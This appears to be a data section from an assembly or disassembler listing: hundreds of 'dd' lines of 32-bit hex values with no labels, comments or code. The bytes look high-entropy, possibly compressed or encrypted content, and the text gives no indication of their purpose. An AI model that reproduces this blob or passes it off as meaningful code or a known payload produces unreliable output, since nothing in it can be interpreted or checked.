		dd 0CF2274C9h, 7806EA1Ch, 33AA007Fh, 0BA14E891h, 57D50744h
		dd 0FA3FA18h, 0EE60E0EFh, 37661F49h, 10C2D72h, 794C98C4h
		dd 0AA83005Ah, 7DC1FCADh, 0B1F7170h, 1B588836h,	10141D9h
		dd 0A3F43B77h, 0CC087451h, 580E4455h, 6BBEDCh, 8DFF4BC3h
		dd 60D40EE1h, 0FBA69623h, 0E310481Bh, 0A40BC6F4h, 0E8007947h
		dd 0BFDC85C4h, 60265800h, 22B0168h, 0A10F3EEAh,	179020E0h
		dd 4429784Eh, 14C220E2h, 0C0003265h, 0CBC1EBE6h, 69923918h
		dd 70B3C5C1h, 7EA4058Bh, 0C7EC67E1h, 0C8544383h, 782C201Dh
		dd 3FA03280h, 24EBB08Bh, 111C8839h, 0FE0E807Bh,	87DFB321h
		dd 0FE1C2407h, 8021AFB0h, 0AE95036Fh, 1DE51F85h, 44568909h
		dd 0F01C20C8h, 588FCh, 3F8C242Eh, 0DBD88E35h, 3BA3BE0Ch
		dd 6530C7h, 1B61A8BAh, 4DE48506h, 60194009h, 20E38FBDh
		dd 6A12FA68h, 9323331Ch, 0AAB8B059h, 35B83196h,	2649C619h
		dd 2180ED08h, 0EAABFB09h, 2106A3B1h, 0DFE61F0Ah, 4B7100A1h
		dd 16E4D4DAh, 0D212C8DBh, 0B800607Bh, 3EF290A0h, 0D599D0D1h
		dd 4085A500h, 4B678644h, 0D9080C66h, 278D03E1h,	0AD6A2BA5h
		dd 0B9DC8798h, 0D2A1A901h, 0BCB0AC31h, 213CC511h, 0E4808018h
		dd 6FCBE399h, 75D50004h, 0F71CEC40h, 0BCF4A2D8h, 0AA8BB48h
		dd 780E6A1Ah, 64AA2E4Fh, 0B5623E31h, 0ABF1EF20h, 9C170089h
		dd 0B9465CC1h, 970610E2h, 28F6BB4Bh, 0E7080568h, 204D560Eh
		dd 0E84B29D0h, 0B3EE4714h, 115233Ch, 31B1AA03h,	88DF1826h
		dd 0AB01FAD0h, 0E0526C40h, 2820BAD5h, 12028C77h, 0BFB3F5FEh
		dd 133719E7h, 56FE8820h, 0C5710AB2h, 44D8B887h,	42945FFDh
		dd 0CDF60948h, 0FB240070h, 11BEDF17h, 0DC8D64Ah, 59E3C729h
		dd 78FCECE0h, 0A50E3E70h, 259EC609h, 3A8EA802h,	0A0843042h
		dd 8BA9603Bh, 0AEA41002h, 8059C8B4h, 4C532E2Ah,	0BD503E56h
		dd 800EB48h, 0EAC8C5B7h, 585B38B4h, 0AC14711Dh,	81848869h
		dd 0FE143090h, 0FB3232Bh, 26005F11h, 0A210FE1Ah, 4000072Eh
		dd 3A285EC6h, 24C0A54Dh, 8C245414h, 4A9953ACh, 0CC251100h
		dd 0B6421E2Bh, 7E180058h, 0C6AF8D31h, 4CF7B4D9h, 0BF04FA98h
		dd 0AEF18BD4h, 0C155088h, 0EC3FC810h, 3100A532h, 7EBD0F9Ah
		dd 50ACFC86h, 12A29839h, 0B65E3Fh, 113C8814h, 55012F76h
		dd 6FB3DFEAh, 0A4D4491Dh, 19C8003Bh, 13029361h,	83016CA1h
		dd 579F904Dh, 4083B508h, 35ACCC85h, 5045800h, 21679313h
		dd 63FC6Ch, 0A1913ED0h,	9EB1E01h, 18446030h, 93FB9096h
		dd 0A52001D0h, 180C4010h, 8A21C0B7h, 0F33AA538h, 42EA280Bh
		dd 0AAB02146h, 4D016FB5h, 88C83233h, 10703154h,	31DC5042h
		dd 0D74C32E7h, 0C3D450FCh, 0CD0538EAh, 0B31176C7h, 0DF200C8Ah
		dd 84201353h, 1262E85Ch, 4E2F845h, 40F2196Ah, 1A563D90h
		dd 0B1A24000h, 0A43BAA3Eh, 1EB083CAh, 14138ECEh, 0CC0C6789h
		dd 51A410Dh, 5957666Bh,	80948430h, 3F441FBCh, 0FA6234B0h
		dd 495AB0h, 0BE8BCCA4h,	0ACA22428h, 0B0EA1F31h,	0A9DBC9C3h
		dd 0AD7CA68h, 6CED3750h, 559109A4h, 0E7A15420h,	0B8A0E95Fh
		dd 99011574h, 0B9510438h, 0CB92B7h, 4E3D3F18h, 0BABEE59Fh
		dd 0F43983Ch, 12DE67CBh, 1F3FAC04h, 0F7AD0C0h, 0C4C3262Ah
		dd 2BD70670h, 0AB2A40BDh, 90569C8Bh, 0A3F51304h, 29CD8003h
		dd 40D808C3h, 88001937h, 35EACCB4h, 16DC906Dh, 43A0A29h
		dd 91B773C0h, 0EA51D454h, 6978000Bh, 2CB14C8h, 0B1C37BC7h
		dd 3C604F8Ah, 0DA58B68Dh, 28CE2A6Ch, 0CA3E20B0h, 0C00341D7h
		dd 319909B7h, 5C903E60h, 8A29BE42h, 2CAC6068h, 0A24BBC01h
		dd 0A891B088h, 8D3F022Dh, 0A0DBCF29h, 2866B90h,	6389865h
		dd 3D361344h, 0A50A91C1h, 7C33CA6Ch, 8A84154Fh,	0AA1F3C98h
		dd 3D2AD706h, 479E0A18h, 8084B008h, 0DCB992E4h,	8A02A461h
		dd 4FEAB30Ch, 0DA48826Eh, 9C811ED0h, 8B49830Ch,	18AD2B2h
		dd 2A7FC539h, 0F8A8BE31h, 93185314h, 0A481E3D8h, 66EC0C51h
		dd 74318BC0h, 0C5023C7Eh, 6A5E6339h, 0CB50810Fh, 398126D0h
		dd 0CE71516Fh, 0EE35F5E3h, 500194AFh, 802A6DBFh, 0C460E611h
		dd 0B2E9643Ah, 0C8585438h, 1F7FE33h, 0B1D58FE7h, 0C49129BAh
		dd 10C168C2h, 3DC56C7Dh, 1A0065FDh, 1F1F2B9Ch, 330167D1h
		dd 3DC19F66h, 0DC0C3444h, 29C186h, 3995CED8h, 52B2C889h
		dd 74C019D0h, 3DC36309h, 0A400204Fh, 31DDB640h,	0AC9855BFh
		dd 51D45720h, 0D587FA21h, 0A2C0F795h, 4B88150Fh, 0C41E1D4Eh
		dd 2901FA33h, 8EE6878Ah, 60A6F949h, 6640F120h, 9040AFE4h
		dd 68D078C0h, 80B1C740h, 6A31D551h, 251903FBh, 7061B03Eh
		dd 346810C2h, 0C565E6F7h, 5458EC21h, 0A10B3510h, 0D01055BCh
		dd 38C6F2D2h, 2084829h,	1BEA50AAh, 2C41B7C4h, 20802519h
		dd 4D22F310h, 6E4B28DCh
		dd 3AF110Ch, 8B8221DEh,	80043BD7h, 8164B493h, 23062400h
		dd 0D9AA4BD6h, 39730320h, 4905A202h, 749EEFC9h,	0C6721340h
		dd 0B8F04128h, 98A93D24h, 64420983h, 81DAE80Ch,	3AE4031Dh
		dd 70F4A363h, 1B7B86B8h, 1C9EB5Ch, 0DA661C9Dh, 59C819C0h
		dd 90907149h, 565C13A9h, 46FC204Bh, 480011A2h, 80747DE6h
		dd 0B441B2h, 75EB01CBh,	11429366h, 561B1000h, 5A319790h
		dd 91C4603Bh, 0B3727BF7h, 0E49FC000h, 0DAA5F894h, 4BA7074Fh
		dd 0D0136692h, 0F574C7ECh, 0C286F209h, 0ACDC692Fh, 0EA004839h
		dd 0A1EC2B69h, 750049B5h, 4F9D0603h, 0A0FF418Ch, 0B9E04D88h
		dd 9EA68E80h, 41C7AC26h, 2E747CF6h, 3382C000h, 38D6032Ch
		dd 0E57F3CD1h, 670E0881h, 24FC93D3h, 76000DB0h,	9E6221B9h
		dd 7C74EE5Dh, 0F88017Dh, 0E64593F2h, 2F9244C4h,	8100EA04h
		dd 0FAD7D5F9h, 82E8E713h, 20C0FB79h, 8F22F28Dh,	6B31C047h
		dd 0AC295394h, 0B26461Eh, 8C27B68Eh, 0F8852143h, 227B0339h
		dd 0C195C899h, 583EEDABh, 7A7703B5h, 7E901Ah, 77FE478h
		dd 61631594h, 0E64DFC3Dh, 21EA08h, 5A06100Dh, 1D64D675h
		dd 0A5D33B00h, 6BA44A48h, 0D5F52491h, 7CB4809Ch, 7499EA83h
		dd 286C9300h, 0C0A98BF8h, 0CFB08B13h, 5300C74Bh, 86801B7Dh
		dd 783178DCh, 0EFF337E3h, 3A958049h, 913038CAh,	0B2D13849h
		dd 64C0CF92h, 6A0D6687h, 2246809Ch, 0D03B9EC2h,	6742EE19h
		dd 2187D309h, 40C21BA6h, 83E585D6h, 0EBC83B07h,	0A447CD7Fh
		dd 0EE0FC1D0h, 0D7060C2Ch, 0A1A9418Dh, 37947302h, 0A0DDE418h
		dd 0A3E56584h, 0A2F6F0h, 7B551E27h, 0AB75E097h,	2DD31000h
		dd 0EF7FA7Eh, 0A7C9C6D2h, 8B0F513Bh, 0A0C0BC41h, 9F7BE19Dh
		dd 0F90F006Eh, 8415EE5Ah, 0F806CDFDh, 0C5C30CD5h, 7E8D00B8h
		dd 469B6A19h, 7A009414h, 868701Dh, 380F85h, 0EF99322Ch
		dd 0C9844E96h, 7540D661h, 7DBEC92h, 80515881h, 82473072h
		dd 0FB783DDDh, 0A528B700h, 0CA95B9Ch, 3A94A88Ch, 0BE3D00CBh
		dd 9A1180F1h, 0B7002841h, 0D686E4FCh, 0F2B5177h, 2FF37B0Fh
		dd 0DD4803FEh, 0E17C108Dh, 98E710C3h, 0A608004Ah, 25C7869Ch
		dd 0E0021B7h, 201C8E54h, 4B4A9Fh, 78F0610Bh, 0D70F5956h
		dd 16C3B0A8h, 0DB696003h, 0B801C093h, 102101Ch,	704A397Bh
		dd 0C049D611h, 7149773Ah, 9DF9060h, 31FB1591h, 0CE10E560h
		dd 29000657h, 4C366DD3h, 6A95366h, 5B84D877h, 7B4650FAh
		dd 7F066607h, 0DCC47813h, 6470440h, 7700738Bh, 0BFC43698h
		dd 0C7E8803Bh, 0A0F52421h, 0DBEFF3Ch, 25B0F754h, 351AA3Eh
		dd 0E8E4029Ch, 0B8DDC330h, 37A375h, 80240728h, 59ED891Bh
		dd 0C0D0A450h, 0F93BA500h, 8EA24808h, 0F5AF310Dh, 80DB0F51h
		dd 7BBA9E71h, 0B617EBh,	0D73E5C88h, 8F98FA8Eh, 4DF5C612h
		dd 0AF60820h, 3E8874FBh, 0BB0B0730h, 1F80D762h,	11CA6095h
		dd 3100AC93h, 283B9FC2h, 0D44486EBh, 1CE9B0B5h,	0FF7A63E0h
		dd 0FB77902h, 0E890663Ah, 79C018ECh, 4032871Dh,	3F9200DBh
		dd 939998F0h, 78243CC7h, 3A045CF7h, 84D2CD7Bh, 2CC4CB9h
		dd 88BFC7DEh, 806C1DF2h, 28397F04h, 58627EACh, 36B58A20h
		dd 908D0947h, 838F9B6Fh, 646C0DCh, 8F49A6Eh, 7329141Ch
		dd 0ADBABF40h, 13982D93h, 48C32C2h, 88F50634h, 0B7EADDE4h
		dd 0D60096EAh, 0D8B95A8Fh, 85836Eh, 6421DF49h, 7F52B98h
		dd 0C82631C1h, 3CD887CAh, 0E1D62847h, 883D00C5h, 0F7E2022Dh
		dd 760F4907h, 40944FFEh, 9B313A17h, 7AD30728h, 64AE081h
		dd 0FC54F614h, 9E0550B8h, 0E2DEC26Bh, 0F80B05Dh, 4837B65Eh
		dd 6D9203D8h, 0DDFD0372h, 0DB5224C0h, 2676DF3Eh, 8800F085h
		dd 939F10D9h, 0D0F5885Bh, 8202B1C0h, 1F796455h,	3BA5EFCBh
		dd 1A07E780h, 565A2F8Ah, 0D7F2AF04h, 0F88D348Bh, 0F63A11FCh
		dd 3B7F3F2Ah, 4A5533F5h, 89AC9D21h, 313891A0h, 0D1F8F218h
		dd 85011ED9h, 404A30CCh, 9ADC9077h, 0DAC900FDh,	0DD7DE757h
		dd 39C364F7h, 0E0DBABh,	1E3D7BF9h, 0DAC73B1Ch, 13E8EF00h
		dd 0D085517Ah, 9C0A0458h, 855E578Ah, 0AA1820AFh, 80076E92h
		dd 12400F02h, 0C0A085A0h, 2AF813F5h, 3D300420h,	0FED70325h
		dd 58391212h, 0BC4C2241h, 13030B20h, 91E3600Fh,	2A6F473Dh
		dd 9411DE00h, 0B05D6D34h, 0F071002Eh, 259BFEF4h, 0F9C0EF0Ch
		dd 7489B465h, 0E91E0257h, 8B94F12Ah, 1CA4047Fh,	8C8070C8h
		dd 91061D38h, 0DE88D315h, 0E060CF8Fh, 0C08C08Eh, 0C2B1DF69h
		dd 87AD0E59h, 620F28C9h, 0A4EC3D64h, 1200FB7Bh,	388757C0h
		dd 9E8F0059h, 146E6656h, 1A30A517h, 879431D8h, 0F87F0050h
		dd 0E5D5ABB6h, 91125E0Eh, 0E008C86h, 41731FD0h,	0B028099Ah
		dd 389015F8h, 0F360AD0Dh, 0C3582BF9h, 7964B988h, 9FD185Eh
		dd 0F9B86814h, 8238E280h, 4B1F4F6h, 3718E0D1h, 0E2FED439h
		dd 0A0C1F261h, 59196C90h, 5271002Ch, 9B7395C3h,	77019E96h
		dd 4B453924h, 0D98F02F2h, 1E4099B6h, 90D6AB98h,	0DC81F71Dh
		dd 46EA08h, 0CC397043h,	0E55C7C88h, 22A70382h, 850C1733h
		dd 67588840h, 954F86h, 92493E6Eh, 0E70EDF2Dh, 4D9421C0h
		dd 25136B9h, 0BAD2D5FBh, 14526FC9h, 0C210FC47h,	0E47526E5h
		dd 0F13A4000h, 0B05C4862h, 94901Ch, 56979678h, 0F76911FAh
		dd 0D5FD4001h, 0B6902D77h, 758BD9BEh, 381062E5h, 3F077728h
		dd 0E6DE916Ah, 654A1181h, 51C72440h, 0F9C200C0h, 85C19FD5h
		dd 18A475FBh, 0D6B8A300h, 0EBC5D803h, 0C0776090h, 65859B40h
		dd 54C80803h, 0F0441DB9h, 7EBB0EE4h, 2339027Dh,	11630A8h
		dd 5C5B8840h, 99252900h, 221D06B1h, 0C891617Eh,	75F87181h
		dd 4CB8887Ch, 262E8212h, 9CA65736h, 0B904E108h,	56C63913h
		dd 7BAA54C8h, 4EDF041h,	587E9533h, 0C8F8886Fh, 9DE0C05Ch
		dd 0D423D680h, 0C0102E6Eh, 20FC358Eh, 9D01EC99h, 6141F19Ah
		dd 0F880E51Fh, 1285AE24h, 0A36AE29Ch, 0BF0190A0h, 0E30EC1CEh
		dd 1ED5DC47h, 81EF8802h, 95D4A06Ch, 4A3236C1h, 4B984003h
		dd 0D64986A0h, 9779E73Fh, 404A462h, 0F240F3A9h,	90105CC7h
		dd 315468C0h, 9A4AB252h, 30287D24h, 5B10B67Dh, 2B000E37h
		dd 184387F9h, 1A91E68h,	0AE3080FCh, 70EEA85Ah, 0BD0097B9h
		dd 8520E82Dh, 0DD2426h,	4F9FCC8Fh, 69D96C1Fh, 11F34400h
		dd 8A95272h, 3F197C7Ah,	4A0F3BBEh, 4E207C20h, 0DDB56A8Ch
		dd 0F6D09F00h, 0C32C5CA1h, 3A6B0097h, 2B4E8B3Ch, 0EE00F560h
		dd 0FBD58994h, 3542AB8h, 5CCAFAEBh, 83CC0622h, 6FABB7E7h
		dd 0EFBB598h, 0FF49561Eh, 75F27600h, 0ECBFEEC2h, 0D40600ABh
		dd 69B699A8h, 0FE7436ECh, 6C494800h, 0B781F88Eh, 400360E7h
		dd 0E952EFD4h, 0CD51D900h, 91451F38h, 0F91C0088h, 7C034F42h
		dd 0FE6124DEh, 1D50A130h, 0E7EEC8h, 17A59E52h, 13AD8927h
		dd 29A01400h, 0E495640Bh, 1A7700F2h, 0F83F5F3h,	0FB00A856h
		dd 0B4A50253h, 0C6B6CF38h, 21E239C1h, 2FF39000h, 114481EDh
		dd 2CA3006Fh, 0B15D36F6h, 5907F9CBh, 2347B389h,	0AD2AB640h
		dd 66180D5Eh, 0F3D93550h, 2B40EBCAh, 680C69DEh,	198F2BB1h
		dd 15450394h, 1435F501h, 0B0919100h, 4F43DB7Eh,	0ABB45C59h
		dd 3898AA30h, 0D400D911h, 267C4D78h, 0E01079h, 0B8EDC372h
		dd 0BC2B6940h, 0EFFB3600h, 51F73F44h, 0C322E67Ch, 0CC27C741h
		dd 950CD900h, 1A6FBF54h, 0F983FBB9h, 2F10A02Ah,	628AE6A8h
		dd 86F84600h, 0F1653F2h
		dd 33A6A0B7h, 12D93EBAh, 9235EA9Dh, 0B1A000C3h,	9C60784Ah
		dd 0E16F5A00h, 31BE5F43h, 80E41503h, 1BB80426h,	4485D68h
		dd 0F8BDE578h, 64CF4007h, 0F9994C10h, 78D73C83h, 75E40488h
		dd 1CA11CEAh, 8708816Bh, 54308AAEh, 0C02018A2h,	0CC724618h
		dd 0C13A765Fh, 308E193Fh, 9B29098h, 188E5950h, 1B4CC0CAh
		dd 78A66979h, 3E19BD65h, 42841C45h, 71879025h, 94CE50CAh
		dd 60A87C10h, 8A2E69Ch,	30BD0431h, 0F8FED040h, 0A08844A1h
		dd 288C68C9h, 0E8DD1C06h, 84081B30h, 0E5148B0Ch, 809B484Ch
		dd 68FB46B0h, 0F8505010h, 0B6530031h, 68B8A771h, 2E114B5Bh
		dd 6F7F30FAh, 0F205082Ah, 1DF80E5Ah, 0BBDFC94h,	5C0CEB04h
		dd 88108789h, 0C4A252h,	7C41944Ah, 148844Fh, 1891BB1Eh
		dd 8111629h, 723D0FCBh,	0B322FD71h, 0D200427Ah,	0CC4E03EBh
		dd 0C1518C38h, 381DCD30h, 0C020957Ah, 0B2E18D49h, 0AF01FE3Dh
		dd 449BABF9h, 48C66330h, 0E1C9DE9Ch, 0C08942E4h, 0BA0CE448h
		dd 86066FFEh, 0C6E86606h, 0B2E31869h, 1F884925h, 307D5A00h
		dd 78A64D8Fh, 0B0893A37h, 1E00343Ah, 19537CF5h,	30ECB1C7h
		dd 90EE7A18h, 3075CCA9h, 28085F7Fh, 723C3742h, 0F5C11529h
		dd 78B10C8Ch, 0E8405131h, 5178BAh, 9AA13C85h, 0E64F6DDFh
		dd 7A3D7C70h, 26321E18h, 2003890Eh, 3C1C6458h, 0FCBEE44Dh
		dd 5DD9C045h, 8060A62Dh, 0E08C2C50h, 0BC05A0A1h, 7401F5E8h
		dd 33882649h, 89BBF70Ah, 48DC2503h, 0DAA37AFDh,	92E18F6h
		dd 0A0C46F1h, 7E25293Ch, 1D052871h, 36703060h, 0CDF99090h
		dd 0EDC38CBh, 4A2B80E1h, 333214EDh, 0BB31FD05h,	0E88BE030h
		dd 3E8EBF30h, 1E765EEDh, 0B9D1B994h, 2CCEA40Fh,	0B35BC4C0h
		dd 21C5439Dh, 0B005CFB1h, 50056DD9h, 0B04A2965h, 0C08AC1Dh
		dd 8D74002Ah, 12B7285Eh, 98932728h, 0B524617Ah,	0A8A1383Eh
		dd 1EE7104Ch, 2E443B9h,	3F2B9402h, 326E3844h, 340100C1h
		dd 57A0E3E0h, 3810B846h, 68B4C42Ah, 34E65A00h, 0E4098819h
		dd 87FC9935h, 1CD03DF8h, 3F52E9Eh, 7CEFE741h, 62A834EAh
		dd 27614DD9h, 4F4AE358h, 6FDA442h, 1E00D03Ch, 0E56E0DE1h
		dd 3CED115Ch, 7906160Ah, 0C8FBE7C2h, 1DB0E800h,	557C8F58h
		dd 91D00436h, 92F8DE11h, 21206950h, 659EC703h, 4A4108Ah
		dd 0D55C24B8h, 4C4084C4h, 3E31F2B8h, 5C1E6D02h,	0A83FAC8Fh
		dd 5F03D8A4h, 0A2999B2Ch, 208C9632h, 2A1729ACh,	0E409EE0Ah
		dd 4AC09086h, 81AC635Ch, 92A454DDh, 30457018h, 2974C70Dh
		dd 44658810h, 4C265084h, 97B58029h, 0D2605F50h,	2960F1CCh
		dd 0B9AA0B8Fh, 0F280E15Bh, 9BF461E7h, 0B0F73D1Dh, 66406B59h
		dd 7303D981h, 0E451305Fh, 1E66D3C1h, 42291D91h,	5F9B1E68h
		dd 7942784Ch, 88F74830h, 3105A34h, 24436658h, 0AC2190EEh
		dd 0E1678027h, 3C33833Ah, 0E6006271h, 94EEF424h, 3051329Ah
		dd 0E420BD5Ah, 31C1761h, 901EBA60h, 188BF94h, 2BCCFAE1h
		dd 7888F870h, 0DE09C087h, 0EBA483CEh, 0FC710AA7h, 10B06CEFh
		dd 9A34C811h, 3481B165h, 50447F72h, 19085DB8h, 4CEA531Dh
		dd 76939830h, 0E334008Dh, 0F73EC7ECh, 38905BAFh, 8C10AC2Ah
		dd 1EA6C33Dh, 7226EB2h,	8830F73Fh, 81FF2643h, 455773Dh
		dd 6B5CFB85h, 0EB4CE740h, 72F05947h, 78E62A37h,	0ACCB7340h
		dd 0A4D12D3h, 18C83606h, 0DCEE6907h, 1E83E961h,	0E7ADB8CDh
		dd 3FB0A71h, 8988650h, 0BD1CBE47h, 912677C0h, 2CF9EFD5h
		dd 0A64C3EEBh, 6AC80E20h, 0B321F8CEh, 0F08C9BDBh, 6C903008h
		dd 0E5E8A44h, 15A3264Bh, 95967C1h, 7108986Ch, 434521h
		dd 11D14F26h, 0A85ADE9Ch, 0E4E69A00h, 86768E52h, 47CF3B77h
		dd 64113160h, 4D3F0AFFh, 0D4DE8E21h, 0C3048FA5h, 0E82BDFE5h
		dd 12816ED1h, 0F7E6D86h, 8DC25734h, 84A02FA2h, 0C71F56D1h
		dd 8E873103h, 307FA98Ch, 71210408h, 51E41EABh, 0C701B8F2h
		dd 0F5CFC225h, 0AD81F77h, 988D69D9h, 0F82EE490h, 83A8433Bh
		dd 2A3C4211h, 3C804267h, 0C300AE2h, 643106CAh, 4838C1EDh
		dd 34E13000h, 0CB11149Ch, 6925070Fh, 0C1338AC7h, 0F01A63E8h
		dd 0D700FDE6h, 4A7E43B7h, 0BEFF924h, 41188FD9h,	3B88F55h
		dd 0B81D9066h, 80E7EEh,	6C5C8494h, 0EA29D9C1h, 0FEB50200h
		dd 2AB27B1Bh, 0F76A003Ah, 0BD6892D3h, 0A8008A2Eh, 74321695h
		dd 0B213BAh, 0DDD34ED4h, 1E279B0Ah, 426EC100h, 13850815h
		dd 46210E3Dh, 0A140E12Eh, 30600978h, 0F1C83Ah, 2FF50C45h
		dd 78BFDB75h, 0CB8500E7h, 3DC983A9h, 1D1DDD4Ch,	200841Eh
		dd 0AFEE6216h, 48293A7Bh, 0B1FD239Ch, 82D4BA08h, 0AF704120h
		dd 55617F7Dh, 0FB42C84Dh, 0BFF65D00h, 0DD8216D2h, 83BC05C6h
		dd 300CFCh, 0E811F7A8h,	9500C042h, 44FF353Dh, 0C61A192Ah
		dd 39D3C230h, 0A67DC700h, 549FF699h, 6F290087h,	69BEAB76h
		dd 401D4C5Eh, 0C880DDB9h, 1F3D4864h, 0F47800B5h, 6A683EE6h
		dd 240077C4h, 820B7054h, 76EF8D9Ch, 0FA67B08Bh,	980203D7h
		dd 1052677Eh, 36077078h, 0B94CA27Bh, 910EE9A0h,	33037422h
		dd 7C207D28h, 0B476A0E0h, 0C7FCFE00h, 8D9E65ABh, 0B959D8D7h
		dd 2D00B902h, 486A04D5h, 1BAE3DD4h, 701C0EB5h, 0A27560ECh
		dd 68B96842h, 2F9138h, 41A05456h, 1A7CA2A1h, 0E118BA68h
		dd 2CD16FC0h, 0ABD98903h, 4027A592h, 8C29E018h,	6FAF7204h
		dd 0BC6128E3h, 243D00DAh, 0C93C00AFh, 935532ECh, 40FFB399h
		dd 69391720h, 0D0684567h, 49B0DB81h, 7D69820h, 93C5D767h
		dd 0F43B50C7h, 4700254Dh, 7911BF1Bh, 0ED5A01h, 74EEE14Fh
		dd 5D020865h, 2B2C8A00h, 5F2D8010h, 63881F1Ah, 0DFE68006h
		dd 8ACC545Ah, 0F04DED00h, 0C7F448B8h, 1ED9F0D8h, 1FD3B945h
		dd 0E803BEBh, 1CA5217Ah, 0B4073343h, 0C51FA0B3h, 0BAFC91A0h
		dd 1D6B3854h, 4773FF80h, 0C7E25146h, 6CE19500h,	3AAF7F28h
		dd 185A0042h, 0E87CC20Dh, 821ECC9Fh, 8B40F797h,	0FAC6FB9Bh
		dd 58B21859h, 0E47C1173h, 0C20306F6h, 95C5353Ch, 7FD1A07Ah
		dd 0E5A60066h, 95CFAF8h, 0F11E3DBAh, 8380E399h,	9D316FDCh
		dd 50FB6079h, 0F085C710h, 224E980h, 154393B7h, 34878F48h
		dd 18C046A1h, 0EC746D00h, 0E33076F5h, 0C83660E9h, 7010467Ah
		dd 822FBF00h, 0D384171Dh, 0FD0C0003h, 6309F971h, 0C00086F2h
		dd 0A3F79C65h, 3960E1Ah, 0EB81170Ah, 8182F43h, 0FD206359h
		dd 0FC1300FFh, 903AEABFh, 6700F09Bh, 0A1B2FA38h, 352BD4Bh
		dd 70CC0BD0h, 1CC840A2h, 0B7035E23h, 71172810h,	0B977E07Fh
		dd 5A9C0364h, 0F84528Bh, 0B2B48001h, 0B0C4D77Ch, 709F5BCDh
		dd 271600C3h, 0D232B3CAh, 80706800h, 9D3FBEA3h,	5CAB30FDh
		dd 0CEF68529h, 31529F05h, 2DC3EF8Ah, 9D8DA18Bh,	57172080h
		dd 8EF0D7CEh, 641FE900h, 0B4FA47A1h, 5E7400B8h,	5238A280h
		dd 0C8D8A9C8h, 3008D260h, 0B47084F4h, 932C8DDDh, 390D5Dh
		dd 969980CEh, 7623EB49h, 0BBD10FFCh, 0E8A7A189h, 0B47C0BFh
		dd 0E10E212Bh, 0E1A5F678h, 0EEF56842h, 0F557870h, 14208AC5h
		dd 0B98205A0h, 3307F16Bh, 7D88B4F5h, 0A49E4290h, 0C27C0069h
		dd 0BBF23DCBh, 360945A3h, 0FC674h, 0CE728D58h, 0DF7C17h
		dd 0CC34FA06h, 6A927F32h, 6121E400h, 0FC75EE07h, 8669006Bh
		dd 7BC94E64h, 0A3F3CDD8h, 9EC70410h, 0E0651F03h, 8F681Dh
		dd 29954B61h, 0E51E8A37h, 3F56D200h, 998BF54Ch,	1660FB59h
		dd 17510005h, 0DDB7096h
		dd 1077E89h, 8DBA3D75h,	0C8D0CA00h, 549500F9h, 7434A89Fh
		dd 8C3DEEBBh, 4CFF007Eh, 12B70C73h, 9C0F3DF4h, 0DF775E80h
		dd 0EB1D60F6h, 33036A1Ch, 15569140h, 6B226Ch, 0BAABB9A7h
		dd 0CB34FEA3h, 847FA41Dh, 6100D89Ch, 73C4E70Fh,	8CD30724h
		dd 100A5867h, 0C75C5B33h, 89B4307h, 9E7053A3h, 1B2205h
		dd 0D3B5A96h, 187F9D20h, 36755E71h, 0ECE61500h,	6ECFCA90h
		dd 6A41004Ch, 6CB55934h, 20006747h, 4B6FBEBh, 0DA98ADh
		dd 0F38E8948h, 0F9309BA5h, 994C1E75h, 380100B2h, 0BDDC27A0h
		dd 7CFC16h, 13F9603Fh, 501E3E5Eh, 7F939106h, 20F6E1h, 712E7D2h
		dd 0EB8264BEh, 6800A7E6h, 0D86A814h, 1DE7424h, 0DAAA922Ah
		dd 0C9C9EFC2h, 5E87E847h, 2E5B5300h, 3268CC79h,	0F3DF012h
		dd 72FE620Dh, 0F501F434h, 0E1A79C38h, 3046E8F3h, 0D2534207h
		dd 0E9423B7Ah, 16AE83D1h, 0CD51E7C3h, 96C04051h, 88B02431h
		dd 0A59F0018h, 3B244708h, 0A9D57D00h, 1AE397E7h, 8B6300ABh
		dd 0D3EF96B6h, 0D5FDA38Dh, 0A2F5ECEAh, 0B07A4438h, 1B137887h
		dd 8CDC0C81h, 0B670B59Ah, 0CB03B8A1h, 0F7E9E4D8h, 866CFF00h
		dd 0B8A78DFDh, 56E7002Bh, 119443C8h, 77E8D6D0h,	9900BF7Dh
		dd 0C69719Eh, 1A7DB5Ah,	0ED251EB2h, 0C8524A7Bh,	14003028h
		dd 75D4656Ah, 2C59B054h, 0F96E09h, 2ECC12DCh, 0D3F8B791h
		dd 191E8607h, 6A08992h,	506BA77Ch, 20E38050h, 690084E7h
		dd 0FCEC16A5h, 366D01h,	0B3C2A208h, 0BAE4182Dh,	0DE394474h
		dd 0C957006Fh, 5FF7D1A1h, 0A84800F0h, 44C78584h, 47EC3025h
		dd 0B116AD98h, 350F29ECh, 7ED5C0D0h, 12B971A2h,	572285h
		dd 0C5F5240Dh, 503BB1AEh, 1269800Ah, 641D8956h,	3161027Ah
		dd 0F1968679h, 626BE040h, 5FA1E707h, 0EC10FF22h, 0AD83Bh
		dd 0F03ED146h, 8EB90F41h, 4BCF7500h, 8472EA80h,	6BA90035h
		dd 4D139244h, 8548A72Dh, 59507ACh, 9A81E540h, 29D58926h
		dd 342BCCh, 0D9E9BA16h,	42D87CECh, 1F242D48h, 0E00AA08h
		dd 0A96CF207h, 72ED00A1h, 5B804034h, 66E8D183h,	7412B800h
		dd 0A2A5584Fh, 848D0BD8h, 0EA70F856h, 10654A0h,	41F74600h
		dd 8C42C8FAh, 4D7900FBh, 2F868A07h, 123F7EB3h, 9E4F00E1h
		dd 74E9BCF1h, 0A64C00CBh, 973DCA4Dh, 25790C20h,	0B471D800h
		dd 0DF817566h, 48A760F2h, 2854B73h, 601820Eh, 1D0CE056h
		dd 887B4Eh, 0C595300Dh,	0FA3ADEDh, 0C74FEC03h, 0D890C65Dh
		dd 0D6E617h, 9614C308h,	2245764h, 2003B500h, 622DB171h
		dd 687D75h, 21C9CCDEh, 0D3F1DB51h, 0B150ED1Eh, 4FE013Dh
		dd 993569B0h, 6B4B20h, 0A1A3510Bh, 3F81E579h, 39706700h
		dd 6246CAC3h, 0B2100A6Fh, 1F909482h, 0B40C80FAh, 0E62C83B9h
		dd 0CD560100h, 3581C931h, 80D00027h, 7FF936BEh,	0D5CDE58h
		dd 1CF4003Dh, 9E386EE2h, 0B03C0065h, 0E889BD4Ah, 0ED0062F8h
		dd 67F55E70h, 0CC52551h, 0B6A385A1h, 28010FF8h,	2A86C072h
		dd 0F3E4BBE3h, 27B80198h, 0B321A10Ch, 0CE9AF065h, 30DAE107h
		dd 0C93056AEh, 2ED583h,	0A64B05D8h, 9A3A2F39h, 7BAFD400h
		dd 0DAAEF575h, 44E13A8h, 6C50407Ah, 3B814ADBh, 9B013EE4h
		dd 4666E01Ch, 6DCC3F3Ah, 0A32300CFh, 0B54C5507h, 0B27865CCh
